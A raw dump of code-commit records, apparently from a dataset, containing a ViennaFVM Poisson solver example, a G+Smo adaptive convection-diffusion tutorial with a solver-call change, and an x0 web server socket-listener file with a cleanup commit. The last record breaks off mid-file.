Copyright (c) 2011, Institute for Microelectronics, TU Wien\n http:\/\/www.iue.tuwien.ac.at\n -----------------\n ViennaFVM - The Vienna Finite Volume Method Library\n -----------------\n\n authors: Karl Rupp rupp@iue.tuwien.ac.at\n (add your name here)\n\n license: To be discussed, see file LICENSE in the ViennaFVM base directory\n======================================================================= *\/\n\n\/\/ include necessary system headers\n#include <iostream>\n\n#define VIENNAFVM_DEBUG\n\n\/\/ ViennaFVM includes:\n#include \"viennafvm\/forwards.h\"\n\/\/#include \"viennafvm\/poisson_assembler.hpp\"\n#include \"viennafvm\/linear_assembler.hpp\"\n#include \"viennafvm\/io\/vtk_writer.hpp\"\n#include \"viennafvm\/ncell_quantity.hpp\"\n#include \"viennafvm\/linear_solve.hpp\"\n#include \"viennafvm\/pde_solver.hpp\"\n\n\/\/ ViennaGrid includes:\n#include \"viennagrid\/domain\/domain.hpp\"\n#include \"viennagrid\/config\/default_configs.hpp\"\n#include \"viennagrid\/io\/netgen_reader.hpp\"\n#include \"viennagrid\/io\/vtk_writer.hpp\"\n#include \"viennagrid\/algorithm\/voronoi.hpp\"\n\n\/\/ ViennaData includes:\n#include \"viennadata\/api.hpp\"\n\n\/\/ ViennaMath includes:\n#include \"viennamath\/expression.hpp\"\n\n#include <boost\/numeric\/ublas\/io.hpp>\n#include <boost\/numeric\/ublas\/matrix_sparse.hpp>\n#include <boost\/numeric\/ublas\/operation.hpp>\n#include <boost\/numeric\/ublas\/operation_sparse.hpp>\n\n\nstruct permittivity_key\n{\n \/\/ Operator< is required for compatibility with std::map\n bool operator<(permittivity_key const & \/*other*\/) const { return false; }\n};\n\n\nint main()\n{\n typedef double numeric_type;\n\n typedef viennagrid::tetrahedral_3d_domain DomainType;\n typedef viennagrid::result_of::segmentation<DomainType>::type SegmentationType;\n\n typedef viennagrid::result_of::cell_tag<DomainType>::type CellTag;\n\n typedef viennagrid::result_of::element<DomainType, CellTag>::type CellType;\n\n typedef viennadata::storage<> StorageType;\n\n\n typedef viennagrid::result_of::element_range<DomainType, CellTag>::type CellContainer;\n typedef viennagrid::result_of::iterator<CellContainer>::type CellIterator;\n typedef viennagrid::result_of::vertex_range<CellType>::type VertexOnCellContainer;\n typedef viennagrid::result_of::iterator<VertexOnCellContainer>::type VertexOnCellIterator;\n\n typedef viennamath::function_symbol FunctionSymbol;\n typedef viennamath::equation Equation;\n\n typedef viennafvm::boundary_key BoundaryKey;\n\n \/\/\n \/\/ Create a domain from file\n \/\/\n DomainType domain;\n SegmentationType segmentation(domain);\n StorageType storage;\n\n try\n {\n viennagrid::io::netgen_reader my_netgen_reader;\n my_netgen_reader(domain, segmentation, \"..\/examples\/data\/cube3072.mesh\");\n }\n catch (...)\n {\n std::cerr << \"File-Reader failed. Aborting program...\" << std::endl;\n return EXIT_FAILURE;\n }\n\n \/\/ Specify Poisson equation:\n viennafvm::ncell_quantity<CellType, viennamath::expr::interface_type> permittivity; permittivity.wrap_constant( storage, permittivity_key() );\n\n FunctionSymbol u(0, viennamath::unknown_tag<>()); \/\/an unknown function used for PDE specification\n Equation poisson_eq = viennamath::make_equation( viennamath::div(permittivity * viennamath::grad(u)), -1); \/\/ \\Delta u = -1\n\n \/\/\n \/\/ Setting boundary information on domain (this should come from device specification)\n \/\/\n \/\/setting some boundary flags:\n\n viennagrid::result_of::default_point_accessor<DomainType>::type point_accessor = viennagrid::default_point_accessor(domain);\n\n viennadata::result_of::accessor<StorageType, permittivity_key, double, CellType>::type permittivity_accessor =\n viennadata::accessor<permittivity_key, double, CellType>(storage, permittivity_key());\n\n viennadata::result_of::accessor<StorageType, BoundaryKey, bool, CellType>::type boundary_accessor =\n viennadata::accessor<BoundaryKey, bool, CellType>(storage, BoundaryKey( u.id() ));\n\n CellContainer cells = viennagrid::elements(domain);\n for (CellIterator cit = cells.begin();\n cit != cells.end();\n ++cit)\n {\n bool cell_on_boundary = false;\n\n \/\/ write dummy permittivity to cells:\n permittivity_accessor(*cit) = 1.0;\n\n VertexOnCellContainer vertices = viennagrid::elements(*cit);\n for (VertexOnCellIterator vit = vertices.begin();\n vit != vertices.end();\n ++vit)\n {\n \/\/boundary for first equation: Homogeneous Dirichlet everywhere\n if (point_accessor(*vit)[0] == 0.0 || point_accessor(*vit)[0] == 1.0\n || point_accessor(*vit)[2] == 0.0 || point_accessor(*vit)[2] == 1.0 )\n {\n cell_on_boundary = true;\n break;\n }\n }\n boundary_accessor(*cit) = cell_on_boundary;\n }\n\n\n \/\/\n \/\/ Create PDE solver instance\n \/\/\n viennafvm::pde_solver<> pde_solver;\n\n \/\/\n \/\/ Pass system to solver:\n \/\/\n pde_solver(viennafvm::make_linear_pde_system(poisson_eq, u), \/\/ PDE with associated unknown\n domain,\n storage);\n\n \/\/\n \/\/ Writing solution back to domain (discussion about proper way of returning a solution required...)\n \/\/\n viennafvm::io::write_solution_to_VTK_file(pde_solver.result(), \"poisson_3d\", domain, segmentation, storage, 0);\n\n std::cout << \"*****************************************\" << std::endl;\n std::cout << \"* Poisson solver finished successfully! *\" << std::endl;\n std::cout << \"*****************************************\" << std::endl;\n return EXIT_SUCCESS;\n}\n<|endoftext|>"} {"text":"<commit_before>\/** @file tutorialAdaptiveCDR.cpp\n\n @brief Tutorial on how to use G+Smo to solve a convection-diffusion-reaction problem.\n\n This file is part of the G+Smo library.\n\n This Source Code Form is subject to the terms of the Mozilla Public\n License, v. 2.0. If a copy of the MPL was not distributed with this\n file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\n Author(s): S. Kleiss\n*\/\n\n\/\/! [Include namespace]\n# include <gismo.h>\n# include <gsAssembler\/gsAdaptiveRefUtils.h>\n\nusing namespace std;\nusing namespace gismo;\n\/\/! [Include namespace]\n\nint main(int argc, char *argv[])\n{\n \/\/! [Parse command line]\n bool plot = false;\n\n gsCmdLine cmd(\"Example for solving a convection-diffusion problem.\");\n cmd.addSwitch(\"plot\", \"Create a ParaView visualization file with the solution\", plot);\n const bool ok = cmd.getValues(argc,argv);\n if (!ok) { gsWarn << \"Error during parsing the command line!\\n\"; return 0;}\n \/\/! [Parse command line]\n\n \/\/ --------------- specify exact solution and right-hand-side ---------------\n\n \/\/! [Function data]\n \/\/ Define exact solution (will be used for specifying Dirichlet boundary conditions\n \/\/gsFunctionExpr<> g(\"if( y<-x\/2-1\/2, 1, 0 )\", 2);\n gsFunctionExpr<> g(\"if( y>=0, if( x <=-1, 1, 0 ), 0 )\", 2);\n \/\/ Define source function\n gsFunctionExpr<> rhs(\"0\",2);\n\n \/\/ diffusion coefficient:\n gsFunctionExpr<> coeff_diff(\"0.000001\",\"0\",\"0\",\"0.000001\",2);\n \/\/ convection coefficient:\n gsFunctionExpr<> coeff_conv(\"3\/sqrt(13)\",\"-2\/sqrt(13)\",2);\n \/\/ reaction coefficient:\n gsFunctionExpr<> coeff_reac(\"0\",2);\n \/\/! [Function data]\n\n \/\/ Print out source function and solution\n gsInfo<<\"Source function \" << rhs << \"\\n\";\n gsInfo<<\"Dirichlet boundary conditions \" << g << \"\\n\\n\";\n\n\n \/\/ --------------- read geometry from file ---------------\n\n \/\/ Read geometry from file (full path needed, or\n \/\/ GISMO_DATA_DIR macro which leads to the \"filedata\" directory\n \/\/! [GetGeometryData]\n \/\/ Read xml and create gsMultiPatch\n string fileSrc( GISMO_DATA_DIR \"\/planar\/lshape2d_3patches_thb.xml\" );\n gsMultiPatch<real_t> patches;\n gsReadFile<real_t>( fileSrc, patches);\n \/\/! [GetGeometryData]\n gsInfo << \"The domain is a \"<< patches <<\"\\n\";\n\n \/\/! [computeTopology]\n \/\/ Get all interfaces and boundaries:\n patches.computeTopology();\n \/\/! [computeTopology]\n\n \/\/ --------------- add bonudary conditions ---------------\n \/\/! [Boundary conditions]\n gsBoundaryConditions<> bcInfo;\n\n \/\/ For simplicity, set Dirichlet boundary conditions\n \/\/ given by exact solution g on all boundaries:\n for ( gsMultiPatch<>::const_biterator\n bit = patches.bBegin(); bit != patches.bEnd(); ++bit)\n {\n bcInfo.addCondition( *bit, condition_type::dirichlet, &g );\n }\n \/\/! [Boundary conditions]\n\n \/\/ --------------- define Pde ---------------\n \/\/! [definePde]\n gsConvDiffRePde<real_t> cdrPde(patches, bcInfo, & coeff_diff,& coeff_conv, & coeff_reac, & rhs);\n \/\/! [definePde]\n\n\n \/\/ --------------- set up basis ---------------\n\n \/\/! [GetBasisFromTHB]\n \/\/ Copy basis from the geometry\n gsMultiBasis<> bases( patches );\n \/\/! [GetBasisFromTHB]\n\n\n \/\/! [initialRefinements]\n \/\/ Number of initial uniform refinement steps:\n int numInitUniformRefine = 2;\n\n for (int i = 0; i < numInitUniformRefine; ++i)\n bases.uniformRefine();\n \/\/! [initialRefinements]\n\n\n \/\/ --------------- set up adaptive refinement loop ---------------\n\n \/\/! [adaptRefSettings]\n \/\/ Number of refinement loops to be done\n int numRefinementLoops = 4;\n\n \/\/ Specify cell-marking strategy...\n MarkingStrategy adaptRefCrit = PUCA;\n\/\/ MarkingStrategy adaptRefCrit = GARU;\n\/\/ MarkingStrategy adaptRefCrit = errorFraction;\n\n \/\/ ... and parameter.\n const real_t adaptRefParam = 0.7;\n\n \/\/! [adaptRefSettings]\n\n\n \/\/! [constructAssembler]\n \/\/ Construct assembler\n gsCDRAssembler<real_t> cdrAss( cdrPde, bases);\n \/\/ Set stabilization flag to 1 = SUPG\n cdrAss.options().setInt(\"Stabilization\", 1);\n \/\/ Compute Dirichlet values by L2-projection\n \/\/ Caution: Interpolation does not work for locally refined (T)HB-splines!\n cdrAss.options().setInt(\"DirichletValues\",dirichlet::l2Projection);\n \/\/! [constructAssembler]\n\n \/\/ --------------- adaptive refinement loop ---------------\n\n \/\/! [beginRefLoop]\n for( int refLoop = 0; refLoop <= numRefinementLoops; refLoop++)\n {\n \/\/! [beginRefLoop]\n gsInfo << \"====== Loop \" << refLoop << \" of \"\n <<numRefinementLoops<< \" ======\" << \"\\n\";\n \n \/\/ --------------- solving ---------------\n\n \/\/! [solverPart]\n \/\/ Generate system matrix and load vector\n cdrAss.assemble();\n\n \/\/ Solve the system\n gsMatrix<real_t> solVector = Eigen::BiCGSTAB< gsSparseMatrix<real_t>, Eigen::IncompleteLUT<real_t> >( cdrAss.matrix() ).solve( cdrAss.rhs() );\n\n \/\/ Construct the solution as a scalar field\n gsField<> solField;\n solField = cdrAss.constructSolution(solVector);\n \/\/! [solverPart]\n\n \/\/ --------------- error estimation\/computation ---------------\n\n \/\/! [errorComputation]\n \/\/ Compute the H1-seminorm of the computed solution\n \/\/ ( which is, at least, equivalent to the energy norm in this example )\n \/\/ using the known exact solution.\n gsSeminormH1<real_t> norm( solField );\n norm.compute(true); \/\/ \"true\" indicates that element-wise norms shall be stored\n\n \/\/ Get the element-wise norms.\n const std::vector<real_t> & eltErrs = norm.elementNorms();\n \/\/! [errorComputation]\n\n\n \/\/ --------------- adaptive refinement ---------------\n\n \/\/! [adaptRefinementPart]\n \/\/ Mark elements for refinement, based on the computed local errors and\n \/\/ the refinement-criterion and -parameter.\n std::vector<bool> elMarked( eltErrs.size() );\n gsMarkElementsForRef( eltErrs, adaptRefCrit, adaptRefParam, elMarked);\n gsInfo <<\"Marked \"<< std::count(elMarked.begin(), elMarked.end(), true) <<\" elements.\\n\";\n \n \/\/ Refine the marked elements with a 1-ring of cells around marked elements\n gsRefineMarkedElements( cdrAss.multiBasis(), elMarked, 1 );\n \/\/! [adaptRefinementPart]\n\n\n \/\/! [repairInterfaces]\n \/\/ Call repair interfaces to make sure that the new meshes\n \/\/ match along patch interfaces.\n cdrAss.multiBasis().repairInterfaces( patches.interfaces() );\n \/\/! [repairInterfaces]\n\n \/\/! [refreshAssembler]\n cdrAss.refresh();\n \/\/! [refreshAssembler]\n\n \/\/! [Export to Paraview]\n \/\/ Export the final solution\n if( plot && refLoop == numRefinementLoops )\n {\n \/\/ Write the computed solution to paraview files\n gsWriteParaview<>( solField, \"adaptRef\", 1000, true);\n }\n \/\/! [Export to Paraview]\n\n }\n\n \/\/! [Plot in Paraview]\n if( plot )\n {\n \/\/ Run paraview\n return system(\"paraview adaptRef.pvd &\");\n }\n \/\/! [Plot in Paraview]\n else\n {\n gsInfo<<\"Quitting.. No output created, re-run with --plot to get a ParaView \"\n \"file containing Plotting image data.\\n\";\n return 0;\n }\n\n}\/\/ end main\n<commit_msg>minor<commit_after>\/** @file tutorialAdaptiveCDR.cpp\n\n @brief Tutorial on how to use G+Smo to solve a convection-diffusion-reaction problem.\n\n This file is part of the G+Smo library.\n\n This Source Code Form is subject to the terms of the Mozilla Public\n License, v. 2.0. If a copy of the MPL was not distributed with this\n file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\n Author(s): S. Kleiss\n*\/\n\n\/\/! [Include namespace]\n# include <gismo.h>\n# include <gsAssembler\/gsAdaptiveRefUtils.h>\n\nusing namespace std;\nusing namespace gismo;\n\/\/! [Include namespace]\n\nint main(int argc, char *argv[])\n{\n \/\/! [Parse command line]\n bool plot = false;\n\n gsCmdLine cmd(\"Example for solving a convection-diffusion problem.\");\n cmd.addSwitch(\"plot\", \"Create a ParaView visualization file with the solution\", plot);\n const bool ok = cmd.getValues(argc,argv);\n if (!ok) { gsWarn << \"Error during parsing the command line!\\n\"; return 0;}\n \/\/! [Parse command line]\n\n \/\/ --------------- specify exact solution and right-hand-side ---------------\n\n \/\/! [Function data]\n \/\/ Define exact solution (will be used for specifying Dirichlet boundary conditions\n \/\/gsFunctionExpr<> g(\"if( y<-x\/2-1\/2, 1, 0 )\", 2);\n gsFunctionExpr<> g(\"if( y>=0, if( x <=-1, 1, 0 ), 0 )\", 2);\n \/\/ Define source function\n gsFunctionExpr<> rhs(\"0\",2);\n\n \/\/ diffusion coefficient:\n gsFunctionExpr<> coeff_diff(\"0.000001\",\"0\",\"0\",\"0.000001\",2);\n \/\/ convection coefficient:\n gsFunctionExpr<> coeff_conv(\"3\/sqrt(13)\",\"-2\/sqrt(13)\",2);\n \/\/ reaction coefficient:\n gsFunctionExpr<> coeff_reac(\"0\",2);\n \/\/! [Function data]\n\n \/\/ Print out source function and solution\n gsInfo<<\"Source function \" << rhs << \"\\n\";\n gsInfo<<\"Dirichlet boundary conditions \" << g << \"\\n\\n\";\n\n\n \/\/ --------------- read geometry from file ---------------\n\n \/\/ Read geometry from file (full path needed, or\n \/\/ GISMO_DATA_DIR macro which leads to the \"filedata\" directory\n \/\/! [GetGeometryData]\n \/\/ Read xml and create gsMultiPatch\n string fileSrc( GISMO_DATA_DIR \"\/planar\/lshape2d_3patches_thb.xml\" );\n gsMultiPatch<real_t> patches;\n gsReadFile<real_t>( fileSrc, patches);\n \/\/! [GetGeometryData]\n gsInfo << \"The domain is a \"<< patches <<\"\\n\";\n\n \/\/! [computeTopology]\n \/\/ Get all interfaces and boundaries:\n patches.computeTopology();\n \/\/! [computeTopology]\n\n \/\/ --------------- add bonudary conditions ---------------\n \/\/! [Boundary conditions]\n gsBoundaryConditions<> bcInfo;\n\n \/\/ For simplicity, set Dirichlet boundary conditions\n \/\/ given by exact solution g on all boundaries:\n for ( gsMultiPatch<>::const_biterator\n bit = patches.bBegin(); bit != patches.bEnd(); ++bit)\n {\n bcInfo.addCondition( *bit, condition_type::dirichlet, &g );\n }\n \/\/! [Boundary conditions]\n\n \/\/ --------------- define Pde ---------------\n \/\/! [definePde]\n gsConvDiffRePde<real_t> cdrPde(patches, bcInfo, & coeff_diff,& coeff_conv, & coeff_reac, & rhs);\n \/\/! [definePde]\n\n\n \/\/ --------------- set up basis ---------------\n\n \/\/! [GetBasisFromTHB]\n \/\/ Copy basis from the geometry\n gsMultiBasis<> bases( patches );\n \/\/! [GetBasisFromTHB]\n\n\n \/\/! [initialRefinements]\n \/\/ Number of initial uniform refinement steps:\n int numInitUniformRefine = 2;\n\n for (int i = 0; i < numInitUniformRefine; ++i)\n bases.uniformRefine();\n \/\/! [initialRefinements]\n\n\n \/\/ --------------- set up adaptive refinement loop ---------------\n\n \/\/! [adaptRefSettings]\n \/\/ Number of refinement loops to be done\n int numRefinementLoops = 4;\n\n \/\/ Specify cell-marking strategy...\n MarkingStrategy adaptRefCrit = PUCA;\n\/\/ MarkingStrategy adaptRefCrit = GARU;\n\/\/ MarkingStrategy adaptRefCrit = errorFraction;\n\n \/\/ ... and parameter.\n const real_t adaptRefParam = 0.7;\n\n \/\/! [adaptRefSettings]\n\n\n \/\/! [constructAssembler]\n \/\/ Construct assembler\n gsCDRAssembler<real_t> cdrAss( cdrPde, bases);\n \/\/ Set stabilization flag to 1 = SUPG\n cdrAss.options().setInt(\"Stabilization\", 1);\n \/\/ Compute Dirichlet values by L2-projection\n \/\/ Caution: Interpolation does not work for locally refined (T)HB-splines!\n cdrAss.options().setInt(\"DirichletValues\",dirichlet::l2Projection);\n \/\/! [constructAssembler]\n\n \/\/ --------------- adaptive refinement loop ---------------\n\n \/\/! [beginRefLoop]\n for( int refLoop = 0; refLoop <= numRefinementLoops; refLoop++)\n {\n \/\/! [beginRefLoop]\n gsInfo << \"====== Loop \" << refLoop << \" of \"\n <<numRefinementLoops<< \" ======\" << \"\\n\";\n \n \/\/ --------------- solving ---------------\n\n \/\/! [solverPart]\n \/\/ Generate system matrix and load vector\n cdrAss.assemble();\n\n \/\/ Solve the system\n gsMatrix<real_t> solVector =\n gsSparseSolver<>::BiCGSTABILUT( cdrAss.matrix() ).solve( cdrAss.rhs() );\n\n \/\/ Construct the solution as a scalar field\n gsField<> solField;\n solField = cdrAss.constructSolution(solVector);\n \/\/! [solverPart]\n\n \/\/ --------------- error estimation\/computation ---------------\n\n \/\/! [errorComputation]\n \/\/ Compute the H1-seminorm of the computed solution\n \/\/ ( which is, at least, equivalent to the energy norm in this example )\n \/\/ using the known exact solution.\n gsSeminormH1<real_t> norm( solField );\n norm.compute(true); \/\/ \"true\" indicates that element-wise norms shall be stored\n\n \/\/ Get the element-wise norms.\n const std::vector<real_t> & eltErrs = norm.elementNorms();\n \/\/! [errorComputation]\n\n\n \/\/ --------------- adaptive refinement ---------------\n\n \/\/! [adaptRefinementPart]\n \/\/ Mark elements for refinement, based on the computed local errors and\n \/\/ the refinement-criterion and -parameter.\n std::vector<bool> elMarked( eltErrs.size() );\n gsMarkElementsForRef( eltErrs, adaptRefCrit, adaptRefParam, elMarked);\n gsInfo <<\"Marked \"<< std::count(elMarked.begin(), elMarked.end(), true) <<\" elements.\\n\";\n \n \/\/ Refine the marked elements with a 1-ring of cells around marked elements\n gsRefineMarkedElements( cdrAss.multiBasis(), elMarked, 1 );\n \/\/! [adaptRefinementPart]\n\n\n \/\/! [repairInterfaces]\n \/\/ Call repair interfaces to make sure that the new meshes\n \/\/ match along patch interfaces.\n cdrAss.multiBasis().repairInterfaces( patches.interfaces() );\n \/\/! [repairInterfaces]\n\n \/\/! [refreshAssembler]\n cdrAss.refresh();\n \/\/! [refreshAssembler]\n\n \/\/! [Export to Paraview]\n \/\/ Export the final solution\n if( plot && refLoop == numRefinementLoops )\n {\n \/\/ Write the computed solution to paraview files\n gsWriteParaview<>( solField, \"adaptRef\", 1000, true);\n }\n \/\/! [Export to Paraview]\n\n }\n\n \/\/! [Plot in Paraview]\n if( plot )\n {\n \/\/ Run paraview\n return system(\"paraview adaptRef.pvd &\");\n }\n \/\/! [Plot in Paraview]\n else\n {\n gsInfo<<\"Quitting.. No output created, re-run with --plot to get a ParaView \"\n \"file containing Plotting image data.\\n\";\n return 0;\n }\n\n}\/\/ end main\n<|endoftext|>"} {"text":"<commit_before>\/* <x0\/HttpListener.cpp>\n *\n * This file is part of the x0 web server project and is released under LGPL-3.\n *\n * (c) 2009 Chrisitan Parpart <trapni@gentoo.org>\n *\/\n\n#include <x0\/http\/HttpListener.h>\n#include <x0\/http\/HttpConnection.h>\n#include <x0\/http\/HttpServer.h>\n#include <x0\/SocketDriver.h>\n\n#include <x0\/sysconfig.h>\n\n#if defined(WITH_SSL)\n#\tinclude <x0\/SslDriver.h>\n#endif\n\n#include <arpa\/inet.h>\t\t\/\/ inet_pton()\n#include <netinet\/tcp.h>\t\/\/ TCP_QUICKACK, TCP_DEFER_ACCEPT\n#include <sys\/ioctl.h>\n#include <sys\/stat.h>\n#include <unistd.h>\n#include <netdb.h>\n#include <fcntl.h>\n\nnamespace x0 {\n\nHttpListener::HttpListener(HttpServer& srv) : \n\twatcher_(srv.loop()),\n\tfd_(-1),\n\tserver_(srv),\n\taddress_(),\n\tport_(-1),\n\tbacklog_(SOMAXCONN),\n\terrors_(0),\n\tsocketDriver_(new SocketDriver(srv.loop()))\n{\n\twatcher_.set<HttpListener, &HttpListener::callback>(this);\n}\n\nHttpListener::~HttpListener()\n{\n\tstop();\n}\n\nvoid HttpListener::stop()\n{\n\tif (fd_ == -1)\n\t\treturn;\n\n\twatcher_.stop();\n\n\t::close(fd_);\n\tfd_ = -1;\n\n\tsetSocketDriver(NULL);\n}\n\ninline void HttpListener::setsockopt(int socket, int layer, int option, int value)\n{\n\tif (::setsockopt(socket, layer, option, &value, sizeof(value)) < 0)\n\t{\n\t\tlog(Severity::error, \"Error setting socket option (fd=%d, layer=%d, opt=%d, val=%d): %s\",\n\t\t\t\tsocket, layer, option, value, strerror(errno));\n\t}\n}\n\nvoid HttpListener::setSocketDriver(SocketDriver *sd)\n{\n\tif (socketDriver_)\n\t\tdelete socketDriver_;\n\n\tsocketDriver_ = sd;\n}\n\nstd::error_code HttpListener::prepare()\n{\n#if defined(WITH_SSL)\n\tif (isSecure())\n\t\tlog(Severity::info, \"Start listening on [%s]:%d [secure]\", address_.c_str(), port_);\n\telse\n\t\tlog(Severity::info, \"Start listening on [%s]:%d\", address_.c_str(), port_);\n#else\n\tlog(Severity::info, \"Start listening on [%s]:%d\", address_.c_str(), port_);\n#endif\n\n\tfd_ = ::socket(PF_INET6, SOCK_STREAM, IPPROTO_TCP);\n\tif (fd_ < 0) return std::make_error_code(static_cast<std::errc>(errno));\n\n\tfcntl(fd_, F_SETFL, FD_CLOEXEC);\n\n\tif (fcntl(fd_, F_SETFL, O_NONBLOCK) < 0)\n\t{\n\t\t\/\/log(Severity::error, \"could not set server socket into non-blocking mode: %s\\n\", strerror(errno));\n\t\treturn std::make_error_code(static_cast<std::errc>(errno));\n\t}\n\n\tsockaddr_in6 sin;\n\tbzero(&sin, sizeof(sin));\n\n\tsin.sin6_family = AF_INET6;\n\tsin.sin6_port = htons(port_);\n\n\tif (inet_pton(sin.sin6_family, address_.c_str(), sin.sin6_addr.s6_addr) < 0)\n\t\tlog(Severity::error, \"Could not resolve IP address (%s): %s\", address_.c_str(), strerror(errno));\n\n#if defined(SO_REUSEADDR)\n\t\/\/! \\todo SO_REUSEADDR: could be configurable\n\tsetsockopt(fd_, SOL_SOCKET, SO_REUSEADDR, 1);\n#endif\n\n#if defined(TCP_QUICKACK)\n\t\/\/! \\todo TCP_QUICKACK: could be configurable\n\tsetsockopt(fd_, SOL_TCP, TCP_QUICKACK, 1);\n#endif\n\n#if defined(TCP_DEFER_ACCEPT)\n\tsetsockopt(fd_, SOL_TCP, TCP_DEFER_ACCEPT, 1);\n#endif\n\n\/\/\tacceptor_.set_option(asio::ip::tcp::acceptor::linger(false, 0));\n\/\/\tacceptor_.set_option(asio::ip::tcp::acceptor::keep_alive(true));\n\n\tif (::bind(fd_, (sockaddr *)&sin, sizeof(sin)) < 0) {\n\t\tlog(Severity::error, \"Cannot bind to IP-address (%s): %s\", address_.c_str(), strerror(errno));\n\t\treturn std::make_error_code(static_cast<std::errc>(errno));\n\t}\n\n\tif (::listen(fd_, backlog_) < 0) {\n\t\tlog(Severity::error, \"Cannot listen to IP-address (%s): %s\", address_.c_str(), strerror(errno));\n\t\treturn std::make_error_code(static_cast<std::errc>(errno));\n\t}\n\n\treturn std::error_code();\n}\n\nstd::error_code HttpListener::start()\n{\n\tstd::error_code ec;\n\n\tif (fd_ == -1)\n\t{\n\t\tec = prepare();\n\n\t\tif (ec)\n\t\t\treturn ec;\n\t}\n\n\twatcher_.start(fd_, ev::READ);\n\treturn ec;\n}\n\nvoid HttpListener::callback(ev::io& watcher, int revents)\n{\n\t\/\/ TODO accept() as much until it would block.\n\tif (HttpConnection *c = new HttpConnection(*this))\n\t{\n\t\tif (c->isClosed())\n\t\t\tdelete c;\n\t\telse\n\t\t\t\/\/ TODO: introduce a PREPARE mode, that would defer the code fragment below - required for SSL handshaking, which takes place *before* processing the HTTP request\n\t\t\tc->start();\n\t}\n}\n\nstd::string HttpListener::address() const\n{\n\treturn address_;\n}\n\nvoid HttpListener::address(const std::string& value)\n{\n\taddress_ = value;\n}\n\nint HttpListener::port() const\n{\n\treturn port_;\n}\n\nvoid HttpListener::port(int value)\n{\n\tport_ = value;\n}\n\nint HttpListener::backlog() const\n{\n\treturn backlog_;\n}\n\nvoid HttpListener::backlog(int value)\n{\n\tbacklog_ = value;\n}\n\n} \/\/ namespace x0\n<commit_msg>code cleanup<commit_after>\/* <x0\/HttpListener.cpp>\n *\n * This file is part of the x0 web server project and is released under LGPL-3.\n *\n * (c) 2009 Chrisitan Parpart <trapni@gentoo.org>\n *\/\n\n#include <x0\/http\/HttpListener.h>\n#include <x0\/http\/HttpConnection.h>\n#include <x0\/http\/HttpServer.h>\n#include <x0\/SocketDriver.h>\n\n#include <x0\/sysconfig.h>\n\n#include <arpa\/inet.h>\t\t\/\/ inet_pton()\n#include <netinet\/tcp.h>\t\/\/ TCP_QUICKACK, TCP_DEFER_ACCEPT\n#include <sys\/ioctl.h>\n#include <sys\/stat.h>\n#include <unistd.h>\n#include <netdb.h>\n#include <fcntl.h>\n\nnamespace x0 {\n\nHttpListener::HttpListener(HttpServer& srv) : \n\twatcher_(srv.loop()),\n\tfd_(-1),\n\tserver_(srv),\n\taddress_(),\n\tport_(-1),\n\tbacklog_(SOMAXCONN),\n\terrors_(0),\n\tsocketDriver_(new SocketDriver(srv.loop()))\n{\n\twatcher_.set<HttpListener, &HttpListener::callback>(this);\n}\n\nHttpListener::~HttpListener()\n{\n\tstop();\n}\n\nvoid HttpListener::stop()\n{\n\tif (fd_ == -1)\n\t\treturn;\n\n\twatcher_.stop();\n\n\t::close(fd_);\n\tfd_ = -1;\n\n\tsetSocketDriver(NULL);\n}\n\ninline void HttpListener::setsockopt(int socket, int layer, int option, int value)\n{\n\tif (::setsockopt(socket, layer, option, &value, sizeof(value)) < 0)\n\t{\n\t\tlog(Severity::error, \"Error setting socket option (fd=%d, layer=%d, opt=%d, val=%d): %s\",\n\t\t\t\tsocket, layer, option, value, strerror(errno));\n\t}\n}\n\nvoid HttpListener::setSocketDriver(SocketDriver *sd)\n{\n\tif (socketDriver_)\n\t\tdelete socketDriver_;\n\n\tsocketDriver_ = sd;\n}\n\nstd::error_code HttpListener::prepare()\n{\n#if defined(WITH_SSL)\n\tif (isSecure())\n\t\tlog(Severity::info, \"Start listening on [%s]:%d [secure]\", address_.c_str(), port_);\n\telse\n\t\tlog(Severity::info, \"Start listening on [%s]:%d\", address_.c_str(), port_);\n#else\n\tlog(Severity::info, \"Start listening on [%s]:%d\", address_.c_str(), port_);\n#endif\n\n\tfd_ = ::socket(PF_INET6, SOCK_STREAM, IPPROTO_TCP);\n\tif (fd_ < 0) return std::make_error_code(static_cast<std::errc>(errno));\n\n\tfcntl(fd_, F_SETFL, FD_CLOEXEC);\n\n\tif (fcntl(fd_, F_SETFL, O_NONBLOCK) < 0)\n\t{\n\t\t\/\/log(Severity::error, \"could not set server socket into non-blocking mode: %s\\n\", strerror(errno));\n\t\treturn std::make_error_code(static_cast<std::errc>(errno));\n\t}\n\n\tsockaddr_in6 sin;\n\tbzero(&sin, sizeof(sin));\n\n\tsin.sin6_family = AF_INET6;\n\tsin.sin6_port = htons(port_);\n\n\tif (inet_pton(sin.sin6_family, address_.c_str(), sin.sin6_addr.s6_addr) < 0)\n\t\tlog(Severity::error, \"Could not resolve IP address (%s): %s\", address_.c_str(), strerror(errno));\n\n#if defined(SO_REUSEADDR)\n\t\/\/! \\todo SO_REUSEADDR: could be configurable\n\tsetsockopt(fd_, SOL_SOCKET, SO_REUSEADDR, 1);\n#endif\n\n#if defined(TCP_QUICKACK)\n\t\/\/! \\todo TCP_QUICKACK: could be configurable\n\tsetsockopt(fd_, SOL_TCP, TCP_QUICKACK, 1);\n#endif\n\n#if defined(TCP_DEFER_ACCEPT)\n\tsetsockopt(fd_, SOL_TCP, TCP_DEFER_ACCEPT, 1);\n#endif\n\n\/\/\tacceptor_.set_option(asio::ip::tcp::acceptor::linger(false, 0));\n\/\/\tacceptor_.set_option(asio::ip::tcp::acceptor::keep_alive(true));\n\n\tif (::bind(fd_, (sockaddr *)&sin, sizeof(sin)) < 0) {\n\t\tlog(Severity::error, \"Cannot bind to IP-address (%s): %s\", address_.c_str(), strerror(errno));\n\t\treturn std::make_error_code(static_cast<std::errc>(errno));\n\t}\n\n\tif (::listen(fd_, backlog_) < 0) {\n\t\tlog(Severity::error, \"Cannot listen to IP-address (%s): %s\", address_.c_str(), strerror(errno));\n\t\treturn std::make_error_code(static_cast<std::errc>(errno));\n\t}\n\n\treturn std::error_code();\n}\n\nstd::error_code HttpListener::start()\n{\n\tstd::error_code ec;\n\n\tif (fd_ == -1)\n\t{\n\t\tec = prepare();\n\n\t\tif (ec)\n\t\t\treturn ec;\n\t}\n\n\twatcher_.start(fd_, ev::READ);\n\treturn ec;\n}\n\nvoid HttpListener::callback(ev::io& watcher, int revents)\n{\n\t\/\/ TODO accept() as much until it would block.\n\tif (HttpConnection *c = new HttpConnection(*this))\n\t{\n\t\tif (c->isClosed())\n\t\t\tdelete c;\n\t\telse\n\t\t\t\/\/ TODO: introduce a PREPARE mode, that would defer the code fragment below - required for SSL 